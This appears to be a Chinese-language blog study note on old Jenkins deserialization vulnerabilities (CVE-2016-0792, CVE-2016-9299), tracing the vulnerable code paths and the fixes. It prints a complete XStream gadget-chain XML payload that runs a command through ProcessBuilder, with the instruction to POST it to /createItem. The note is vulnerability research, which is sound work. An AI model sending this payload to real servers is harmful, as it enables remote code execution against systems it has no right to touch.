前言
Jenkins 历史漏洞学习记录,其二。
CVE-2016-0792
docker pull jenkins:1.642.4
漏洞分析
因为已经分析过 xstream 反序列化漏洞了,所以主要看看触发路径,直接用最近 CVE-2020-26217 的 payload:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>touch</string>
<string>/tmp/PPPPPPPPPwn</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
然后根据报错栈观察代码,createItem 的处理代码在 Jenkins 类中:
@RequirePOST
public synchronized TopLevelItem doCreateItem(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
return this.itemGroupMixIn.createTopLevelItem(req, rsp);
}
当传递的 contents-type 为 xml 时,会进入 createProjectFromXML:
boolean isXmlSubmission = requestContentType != null && (requestContentType.startsWith("application/xml") || requestContentType.startsWith("text/xml"));
...
if (isXmlSubmission) {
result = this.createProjectFromXML(name, req.getInputStream());
rsp.setStatus(200);
return result;
}
最后来到 Items 类:
public static Item load(ItemGroup parent, File dir) throws IOException {
Item item = (Item)getConfigFile(dir).read();
item.onLoad(parent, dir.getName());
return item;
}
public Object read() throws IOException {
if (LOGGER.isLoggable(Level.FINE)) {
LOGGER.fine("Reading " + this.file);
}
BufferedInputStream in = new BufferedInputStream(new FileInputStream(this.file));
Object var2;
try {
var2 = this.xs.fromXML(in);
} catch (XStreamException var7) {
throw new IOException("Unable to read " + this.file, var7);
} catch (Error var8) {
throw new IOException("Unable to read " + this.file, var8);
} finally {
in.close();
}
return var2;
}
由于这里的 Xstream 类没有做安全配置,导致了漏洞。
漏洞利用
修改 HTTP 头,然后将 xml POST 给 /createItem?name=test。
漏洞修复
Xsteam 修改了自身的黑名单,Jenkins 则使用了 Xstream 提供的内部安全策略白名单。
CVE-2016-9299
docker pull jenkins:2.19.2
漏洞分析
还是一个反序列化漏洞,绕过方式类同 CVE-2016-0788,同样使用的是类似 JRMP 的二次反序列化方式,同样是通过 JSON 调用某个类的 getter 函数,这里使用的是 LdapAttribute,它有一个 getAttributeSyntaxDefinition 函数:
private DirContext getBaseCtx() throws NamingException {
if (this.baseCtx == null) {
if (this.baseCtxEnv == null) {
this.baseCtxEnv = new Hashtable(3);
}
this.baseCtxEnv.put("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
this.baseCtxEnv.put("java.naming.provider.url", this.baseCtxURL);
this.baseCtx = new InitialDirContext(this.baseCtxEnv);
}
return this.baseCtx;
}
public DirContext getAttributeSyntaxDefinition() throws NamingException {
DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
DirContext var2 = (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
Attribute var3 = var2.getAttributes("").get("SYNTAX");
if (var3 != null && var3.size() != 0) {
String var4 = (String)var3.get();
return (DirContext)var1.lookup("SyntaxDefinition/" + var4);
} else {
throw new NameNotFoundException(this.getID() + "does not have a syntax associated with it");
}
}
很明显这里可以触发 LDAP 注入,不过该版本 Jenkins 使用的 Java 版本较高,无法通过 Reference 进行 RCE。
接下来关注 getAttributeSyntaxDefinition 函数中调用的 getSchema 函数,通过调试可以发现,最后会调用 LdapBindingEnumeration 类的 createItem 函数:
protected Binding createItem(String var1, final Attributes var2, Vector<Control> var3) throws NamingException {
Object var4 = null;
String var5 = this.getAtom(var1);
if (var2.get(Obj.JAVA_ATTRIBUTES[2]) != null) {
try {
var4 = AccessController.doPrivileged(new PrivilegedExceptionAction<Object>() {
public Object run() throws NamingException {
return Obj.decodeObject(var2);
}
}, this.acc);
} catch (PrivilegedActionException var11) {
throw (NamingException)var11.getException();
}
}
...
}
可以看到,这里会调用 Obj.decodeObject 对 LDAP 服务端返回的数据进行反序列化,但是需要满足几个条件,似乎涉及到了 LDAP 协议的 asn1 之类的东西,暂时不感兴趣就不看了。
漏洞利用
详见参考文章。
漏洞修复
jndi 相关的类也被 ban 掉了。
CVE-2018-1000861
摸了,以后有兴趣了再回来看。